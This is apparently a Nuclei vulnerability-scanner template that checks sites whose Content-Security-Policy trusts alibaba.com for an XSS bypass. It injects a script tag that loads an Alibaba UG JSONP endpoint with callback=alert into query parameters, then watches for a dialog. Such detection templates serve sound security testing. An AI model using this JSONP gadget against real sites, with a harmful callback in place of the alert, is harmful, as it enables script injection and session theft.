id: alibaba-ug-csp-bypass

info:
  name: Content-Security-Policy Bypass - Alibaba UG
  author: renniepak,DhiyaneshDK
  severity: medium
  reference:
    - https://github.com/renniepak/CSPBypass/blob/main/data.tsv
  metadata:
    verified: true
  tags: xss,csp-bypass,alibaba-ug

flow: http(1) && headless(1)

http:
  - method: GET
    path:
      - "{{BaseURL}}"

    matchers:
      - type: word
        part: header
        words:
          - "Content-Security-Policy"
          - "alibaba.com"
        condition: and
        internal: true

headless:
  - steps:
      - action: navigate
        args:
          url: "{{BaseURL}}"

      - action: waitdialog
        name: alibaba_ug_csp_xss
        args:
          max-duration: 5s

    payloads:
      injection:
        - '<script src="https://ug.alibaba.com/api/ship/read?callback=alert"></script>'

    fuzzing:
      - part: query
        type: replace
        mode: single
        fuzz:
          - "{{url_encode(injection)}}"

    matchers:
      - type: dsl
        dsl:
          - "alibaba_ug_csp_xss == true"
# digest: 4a0a00473045022100fb1f80b84707b31bd56ac1a0df5b141f525dd5c770e9c7bd5dcdd7752e245f53022006e171d56e47eb876312f4c41dc4c107e57372981fa583e50bcaf66629f0865e:922c64590222798bb761d5b6d8e72950